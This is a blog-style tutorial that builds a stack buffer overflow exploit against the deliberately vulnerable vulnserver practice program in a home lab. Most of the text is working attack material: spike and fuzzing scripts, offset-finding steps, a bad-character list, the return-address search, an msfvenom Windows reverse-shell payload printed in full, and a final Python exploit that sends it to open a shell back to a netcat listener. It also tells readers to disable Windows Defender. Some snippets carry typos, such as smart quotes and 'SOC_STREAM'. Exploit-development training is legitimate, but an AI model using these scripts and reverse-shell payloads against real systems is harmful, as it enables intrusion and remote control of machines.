So, time for some theory. Let's have a look at writing buffer overflow exploits from the ground up. In this we'll be using a Windows 10 for target and a Kali machine as the attacker. Beyond that, we need vulnserver.exe and Immumity Debugger, and mony.py plugin for Immunity Debugger.

So, first up, what's a buffer overflow ?. Glad you asked. Buffer overflow code, is simply an exploit code, designed to overwrite buffer registers in a controlled manner, to cause a software to run malicious code.
And what's up with that register stuff ?, well, to explain that, we have to dive into memory layout for the x86 architecture a bit...

 

This is a simplified layout, but let's have a look at it. First we have kernel space. User code can NOT read and write to this part of the memory, if we try we end up with a segmentation error.
Beneath it, we got the stack, this is variables, return addresses and so on. It grows towards the lower addresses.
Heap, it grows upwards, towards the higher memory addresses. It's space for dynamic memory allocation.
BSS, static variables, filled with zeros.
Data, static variables that are explicitly initialized.
Text, that's the binary image of the process, eg /bin/ls.

As exploit writers, we're looking at the stack part, so let's take a closer look at that, here's a small diagram of the stack.

Remember, the stack grows from top to bottom, from ESP --> EIP, that's pretty important to keep in mind, or else the code we're writing later won't make much sense.
So, at the start of the stack, we have ESP, the Extended Stack Pointer. It's the start of our stack.
Next up, we have some buffer space, pointing down towards EIP, and that's our final target. A normal write to the stack, is something like this.

Normally our data starts at ESP, and fills up the buffer space. The EIP register points to the next instruction our processor is going to execute. So, what if the registers ESP, Buffer, and EBP is overwritten, and next after that, we overwrite EIP, so the stack looks like this ?

Yep, you guessed it. If we fill up the buffer, right up to, but not included EIP, and fill EIP with an address, called the return address, and we point that return address to our shellcode, we get code execution.
So, if our shellcode is malicious, we have a succesfull attack, using a buffer overflow. Pretty neat huh ?

So, the data string we have to send, would be something like this. "JUNK" + "NOPS" + "RETURN-ADDR" + "SHELLCODE".  Okay, that's all good, but how do we do that ?.
Well, we have to take a closer look at the software, and see what we got, write some code, and have a bit luck, and we might be able to do it. But, I'm getting ahead of myself here. Let's start with some basics.

This is what we're going to do. First we kick it off with some spiking, to find the vulnerable command we need, in fuzzing we take that command to the next stress level, and try to break it using a fuzzing script.
Next, we hunt the offset, and control we can overwrite the EIP. But, alas, there might be rough times ahead when we take a closer look in our debugger, and learn to hunt for those pesky bad characters, and eliminate them from our beautiful malicious code.
Then we get to know a real sexy lady called Mona, who lives in the debugger. She's real kinky, I can tell you that. She says the most lovely things about modules that are loaded into our vulnerable process, and the best of it all, shel'll be letting us in on the secret too. That is when we go hunting for modules, to find our return address.
Next up, we have a look at the Metasploit Framework, and generate our payload, write some scripts, and get ready for the big launch day, when we're ready to fire the exploit for the first time, and hopefully, it will all come to a conclusion in number 8, when we get our reward, and get our rootshell. Sound pretty easy right ?

So, if you're up to it, go download some stuff.

First you'll need the application itself, called vulnserver. https://github.com/stephenbradshaw/vulnserver

Then, you need mony.py and Immunity Debugger, https://debugger.immunityinc.com/ID_register.py

And, last you need mony.py https://github.com/corelan/mona

So, get it downloaded and installed. If you're running windows 10, you need to disable Windows Defender, or else it will stop us, and prevent the exploit code from running, and you will need to run vulnserver.exe and immunity as administrator. Remember, this is a basic tutorial, so we won't be dealing with advanced memory protection or evading Defender, not at this time. When you're ready, let's get to it.

 First, launch vunlserver.exe, and connect to it from the attacker machine, using NetCat.

nc -nv vulnserver_IP 9999

You should get a shell here,. Try the HELP command, and you should get a listing of commands, two of them is STATS and TRUN. These are the commands we'll be working with later on, so check you can see them in the client NC, before moving on.

If this worked out for you, close NetCat, and restart vulnserver, and start Immunity Debugger. When that's done, attack to the vulserver.exe process, and let it rip, using "start" in Immunity.
Now, we need to test a couple of things. We need to write a spike script, to test the commands. We'll be attacking STATS first, and use a command called generic_send_tcp to send our spikes.

# cat stats.spk                                                 
s_readline();
s_string("STATS");
s_string_variable("0");

That's our STATS spike script. Save it as stats.spk. The next we'll need in a moment, is called trun.spk, and this is the content of that file.

s_readline();
s_string("TRUN ");
s_string_variable("0");

Next, we kick of the spiking with

./generic_send_tcp IP PORT something.spk 0 0

What happens when we send a spike ?. Well, the script is gonna connect, send the command, and a lot of data, and try to overflow the buffer. If the command is vulnerable, vulnserver.exe is going to crash. I can tell you right now, that the stat's command is NOT vulnerable, but the TRUN command is, so we should get a crash when we send that spike. If you did, let's move on a bit.
See, now we know what command to target, the TRUN command, but we haven't found out yet how much data we need to send, in other words, we need to find out how much data to send, to reach into EIP, just roughly. So, we need some fuzzing, to find that. We define our little script that's simply giong to start sending the command, and then some string, reapeating the process, adding 100 bytes each pass, until we crash something.

#Python fuzzing script

#!/usr/bin/python
import sys, socket
from time import sleep

buffer = “A” * 100

while True:
	try
		s=socket.socket(socket.AF_INET,socket.SOC_STREAM)
		s.connect(('10.0.0.94',9999))
		
		s.send('TRUN /.:/' + buffer)
		s.close()
		buffer = buffer + “A”*100
	except:
		print “Fuzzing crashed at %s bytes” % str(len(buffer))
		sys.exit()

 So, here's our little fuzzer. It's basic just a little script, that sends TRUN, and some A's, repeating and adding 100 bytes, until we get a crash. That should roughly tell us, how much data we need to send as offset data, before we reach EIP. So save it in a Python file, restart vulnserver and reattach Immunity. Next edit the script yo your IP, and launch it. When the server crashes, stop the script and take note on where the fuzzer stopped. It should say something along the lines of "Fuzzing crashed at XXX bytes". The XXX is your offset value.

In Immunity Debugger, you should see something like this. Some part of the memory filled with "A"'s. That tells us, we overwrote something with our fuzzing script. My value for this, my offset is 2002 bytes in, making bytes 2003-2004-2005 and 2006 my EIP. But, I'm getting ahead of myself, once again, sorry 'bout that. So, We know that we need about 2500-3000 bytes to crash the application, can we get closer to that ?
Yes we can. The Metasploit Framework project have made a tool called pattern-create. What it does is making a unique pattern, we can use for sending to vulnserver, and watch in Immunity for it, so we get to know the offset.

Find out where you metasploit framework lives, in a kali that would be /usr/share/meatsploit-framework/tools/exploit/pattern_create.rb. We need to tell it we need 3000 bytes data, and call it like so.

./usr/share/meatsploit-framework/tools/exploit/pattern_create.rb -l 3000

It's gonna spit out some strange stuff, and that's our new payload. So open you fuzzing script, or make a new file, with a copy of our fuzzing script, and let's change it.

└─# cat trun_fuzzer.py        
#!/usr/bin/python

import sys, socket
from time import sleep

# buffer = "A" * 100
pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"


while True:
	try:
	    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	    s.connect(('10.0.0.94',9999))
	    s.send(('TRUN / .:/' + pattern))
	    s.close()
	    # sleep(1)
	    # send kun MSF pattern
	    # buffer = buffer + "A" * 100
	
	except:
		print "Error connecting to server"
		#print "Fuzzing crashed at %s bytes" % str(len(buffer))
	    	sys.exit()
	    	                                  

Note the pattern is gonna be one long string. You could break it up, for readability, but I suggest you don't for now. Keep it as it is. So, again, restat vulnserver, attach Immunity to it, and launch the script, and keep an eye out in the debugger. You should get a crash, and if you look at the EIP register, there should be a unique value there, that is part of the string we send. And, why's that important. Because we need another tool, also from the Metasploit project called pattern_offset, and feed it that memory address, and let it calculate our offset for us.

Note here that my value of EIP is 6F43376F. So I call pattern_offset like this

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb - 3000 -q 6F43376F
[*] Exact match at offset 2002

And there we are. My offset is 2002 bytes to EIP. Now we now that if i make an exploit string like this "A" * 2002 + "Z" * 4, the value of EIP should be 4 times Z, telling me we have a precise overwrite of EIP.
So, once again, change / make a new script, and let's modify it.

#!/usr/bin/python

import sys, socket
from time import sleep

padding = "A" * 2002
EIP = "Z" * 4
 
while True:
	try:
	    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	    s.connect(('10.0.0.94',9999))
	    s.send(('TRUN / .:/' + padding + EIP))
	    s.close()
	    	
	except:
		print "Error connecting to server"
		#print "Fuzzing crashed at %s bytes" % str(len(buffer))
	    	sys.exit()

Again, restart vulnserver.exe, and attach Immunity to it, and let it run. Then, fire the new script, and check Immunity again.

Bang, we got it. We can overwrite EIP, and we have aligned our code correctly, since the value of EIP is now 5A5A5A5A, alas "Z" * 4 :)

Now, we come to the not so fun part, dealing with invalid characters. I know we could use Mona for that, but since we're learning, let's do it manually this time. The idea is sending all ASCII characters through to the service, and manually inspect the memory to see if the entire string made it. If there's errors, or some date that didn't go through, we filter them out, and try again, until all the bad characters is taken out of our string.

So, first we need to change our payload script. Change it, or make a new version, designed for hunting bad characters. Here's mine.

cat vulnserver_badchars.py
#!/usr/bin/python

import sys, socket
from time import sleep

padding = "A" * 2002
EIP = "Z" * 4
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

while True:
	try:
	    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	    s.connect(('10.0.0.94',9999))
	    s.send(('TRUN / .:/' + padding + EIP + badchars))
	    s.close()
	    	
	except:
		print "Error connecting to server"
		#print "Fuzzing crashed at %s bytes" % str(len(buffer))
	    	sys.exit()                             

Edit this so it fits your network / setup, restart vulnserver, attach immunity, start vulnserver in immunity, and fire the script. Vulnserver should crash, and in one of the windows, you should see something like this, in Immunity.

Now comes the boring part. This is the characters we send. They should be the same in the exploit script. If not, there's an error, so try to take that byte out, and send the string again. I can tell you right now, there's no bad characters except for 0x00, and that's not included here, but be sure you don't send that, if you've used a string / pattern from the internet.

 Now, the next part we get to, is finding our return address. Earlier, we saw that we have a part of our data located in ESP.

So, IF we can jump to that, using a JMP ESP, we can get to it.

First we need to see what dll's are loaded, so we ask mona about it. In Immunity, run the command

!mona modules

It should give you a windows, with the loaded DLL's, so since we have one where there's no protection, called essfunc.dll, I'll choose that.

Launch nasm shell from the Metasploit Framework, and let's ask it.

/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb

nasm > JMP ESP
00000000  FFE4              jmp esp
nasm > 

So, a JMP ESP is FF E4 in bytes. Okay, time for talking to Mona.py. Back in Immunity Debugger, run the command

imdb > ! mona find -s “\xff\xe4” -m essfunc.dll

return addresses in essfunc.dll

0x625011af
0x625011bb
0x625011c7
0x625011d3
0x625011df
0x625011eb
0x625011f7
0x62501203
0x62501205

So okay, we got an address at 625011af it seems. Hmm.. Let's rewrite our exploit code to match the new findings.

#!/usr/bin/python

#return in essfunc.dll
import sys, socket
from time import sleep

padding = "A" * 2002
EIP = “\xaf\x11\x50\x62”
shellcode = padding + EIP

while True:
	try:
	    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	    s.connect(('10.0.0.94',9999))
	    s.send(('TRUN / .:/' + shellcode))
	    s.close()
	    	
	except:
		print "Error connecting to server"
		#print "Fuzzing crashed at %s bytes" % str(len(buffer))
	    	sys.exit()                                          

Note that EIP value is reversed since we're running intel architecture. It's in little-endian, so reverse the byte you send, so 625011af becomes 0xaf 0x11 0x50 0x62, \xaf\x11\x50\x62.
Now, restart vulnserver, restart Imminity, choose "Enter expression to follow", type 625011af, hit F2 to set a breakpoint on that address, and start up everything. Now, let the exploit code rip, and watch immunity again. Take note of the value of EIP, it should point to 625011af.

It did. So, if we send a payload, after overwriting EIP with a valid return, we should have a working exploit. But, first we have some shellcode to cook.

msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.13 LPORT=4444 EXITFUNC=thread -f c -a x86 -b "\x00"                                                        2 ⨯

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1500 bytes

unsigned char buf[] = 
"\xb8\xc9\x4f\x90\x64\xdb\xde\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
"\x52\x83\xc3\x04\x31\x43\x0e\x03\x8a\x41\x72\x91\xf0\xb6\xf0"
"\x5a\x08\x47\x95\xd3\xed\x76\x95\x80\x66\x28\x25\xc2\x2a\xc5"
"\xce\x86\xde\x5e\xa2\x0e\xd1\xd7\x09\x69\xdc\xe8\x22\x49\x7f"
"\x6b\x39\x9e\x5f\x52\xf2\xd3\x9e\x93\xef\x1e\xf2\x4c\x7b\x8c"
"\xe2\xf9\x31\x0d\x89\xb2\xd4\x15\x6e\x02\xd6\x34\x21\x18\x81"
"\x96\xc0\xcd\xb9\x9e\xda\x12\x87\x69\x51\xe0\x73\x68\xb3\x38"
"\x7b\xc7\xfa\xf4\x8e\x19\x3b\x32\x71\x6c\x35\x40\x0c\x77\x82"
"\x3a\xca\xf2\x10\x9c\x99\xa5\xfc\x1c\x4d\x33\x77\x12\x3a\x37"
"\xdf\x37\xbd\x94\x54\x43\x36\x1b\xba\xc5\x0c\x38\x1e\x8d\xd7"
"\x21\x07\x6b\xb9\x5e\x57\xd4\x66\xfb\x1c\xf9\x73\x76\x7f\x96"
"\xb0\xbb\x7f\x66\xdf\xcc\x0c\x54\x40\x67\x9a\xd4\x09\xa1\x5d"
"\x1a\x20\x15\xf1\xe5\xcb\x66\xd8\x21\x9f\x36\x72\x83\xa0\xdc"
"\x82\x2c\x75\x72\xd2\x82\x26\x33\x82\x62\x97\xdb\xc8\x6c\xc8"
"\xfc\xf3\xa6\x61\x96\x0e\x21\x84\x67\x10\xbc\xf0\x65\x10\xaf"
"\x5c\xe3\xf6\xa5\x4c\xa5\xa1\x51\xf4\xec\x39\xc3\xf9\x3a\x44"
"\xc3\x72\xc9\xb9\x8a\x72\xa4\xa9\x7b\x73\xf3\x93\x2a\x8c\x29"
"\xbb\xb1\x1f\xb6\x3b\xbf\x03\x61\x6c\xe8\xf2\x78\xf8\x04\xac"
"\xd2\x1e\xd5\x28\x1c\x9a\x02\x89\xa3\x23\xc6\xb5\x87\x33\x1e"
"\x35\x8c\x67\xce\x60\x5a\xd1\xa8\xda\x2c\x8b\x62\xb0\xe6\x5b"
"\xf2\xfa\x38\x1d\xfb\xd6\xce\xc1\x4a\x8f\x96\xfe\x63\x47\x1f"
"\x87\x99\xf7\xe0\x52\x1a\x17\x03\x76\x57\xb0\x9a\x13\xda\xdd"
"\x1c\xce\x19\xd8\x9e\xfa\xe1\x1f\xbe\x8f\xe4\x64\x78\x7c\x95"
"\xf5\xed\x82\x0a\xf5\x27"

So, there's our shellcode. Now we need to write the final exploit, and get NetCat going again.

cat vulnserver_exploit1.py
#!/usr/bin/python

import sys, socket
from time import sleep

# return addresser essfunc.dll
# 0x625011af
# 0x625011bb
# 0x625011c7
# 0x625011d3
# 0x625011df
# 0x625011eb
# 0x625011f7
# 0x62501203
# 0x62501205

#Shellcode MSF msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.13 LPORT=4444 EXITFUNC=thread -f c -a x86 -b "\x00"

padding = "A" * 2002
EIP = "\xaf\x11\x50\x62"
NOPS = "\x90" * 32

payload = (
"\xb8\xc9\x4f\x90\x64\xdb\xde\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
"\x52\x83\xc3\x04\x31\x43\x0e\x03\x8a\x41\x72\x91\xf0\xb6\xf0"
"\x5a\x08\x47\x95\xd3\xed\x76\x95\x80\x66\x28\x25\xc2\x2a\xc5"
"\xce\x86\xde\x5e\xa2\x0e\xd1\xd7\x09\x69\xdc\xe8\x22\x49\x7f"
"\x6b\x39\x9e\x5f\x52\xf2\xd3\x9e\x93\xef\x1e\xf2\x4c\x7b\x8c"
"\xe2\xf9\x31\x0d\x89\xb2\xd4\x15\x6e\x02\xd6\x34\x21\x18\x81"
"\x96\xc0\xcd\xb9\x9e\xda\x12\x87\x69\x51\xe0\x73\x68\xb3\x38"
"\x7b\xc7\xfa\xf4\x8e\x19\x3b\x32\x71\x6c\x35\x40\x0c\x77\x82"
"\x3a\xca\xf2\x10\x9c\x99\xa5\xfc\x1c\x4d\x33\x77\x12\x3a\x37"
"\xdf\x37\xbd\x94\x54\x43\x36\x1b\xba\xc5\x0c\x38\x1e\x8d\xd7"
"\x21\x07\x6b\xb9\x5e\x57\xd4\x66\xfb\x1c\xf9\x73\x76\x7f\x96"
"\xb0\xbb\x7f\x66\xdf\xcc\x0c\x54\x40\x67\x9a\xd4\x09\xa1\x5d"
"\x1a\x20\x15\xf1\xe5\xcb\x66\xd8\x21\x9f\x36\x72\x83\xa0\xdc"
"\x82\x2c\x75\x72\xd2\x82\x26\x33\x82\x62\x97\xdb\xc8\x6c\xc8"
"\xfc\xf3\xa6\x61\x96\x0e\x21\x84\x67\x10\xbc\xf0\x65\x10\xaf"
"\x5c\xe3\xf6\xa5\x4c\xa5\xa1\x51\xf4\xec\x39\xc3\xf9\x3a\x44"
"\xc3\x72\xc9\xb9\x8a\x72\xa4\xa9\x7b\x73\xf3\x93\x2a\x8c\x29"
"\xbb\xb1\x1f\xb6\x3b\xbf\x03\x61\x6c\xe8\xf2\x78\xf8\x04\xac"
"\xd2\x1e\xd5\x28\x1c\x9a\x02\x89\xa3\x23\xc6\xb5\x87\x33\x1e"
"\x35\x8c\x67\xce\x60\x5a\xd1\xa8\xda\x2c\x8b\x62\xb0\xe6\x5b"
"\xf2\xfa\x38\x1d\xfb\xd6\xce\xc1\x4a\x8f\x96\xfe\x63\x47\x1f"
"\x87\x99\xf7\xe0\x52\x1a\x17\x03\x76\x57\xb0\x9a\x13\xda\xdd"
"\x1c\xce\x19\xd8\x9e\xfa\xe1\x1f\xbe\x8f\xe4\x64\x78\x7c\x95"
"\xf5\xed\x82\x0a\xf5\x27"
)

while True:
	try:
	    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	    s.connect(('10.0.0.94',9999))
	    s.send(('TRUN / .:/' + padding + EIP + NOPS + payload))
	    s.close()
	    	
	except:
		print "Error connecting to server"
		#print "Fuzzing crashed at %s bytes" % str(len(buffer))
	    	sys.exit()

Note that i've included some nops, so my final string is padding + EIP + NOPS + payload. Now the fun part. Close vulnserver, and Immunity, and restart vulnserver. In a terminal, run netcat

nc -nvlp 4444

Fire the exploit, and cross your fingers. If it succeeded, you should get a shell back in netcat.

If you did made it all the way through and got a shell, congratulations. Pat yourself on the back, you did good :)
No, go hunt for another vulnerable software, and try with that, to see if you can make an exploit for that :)

Happy Hunting, and I'll see you next time.

You have no rights to post comments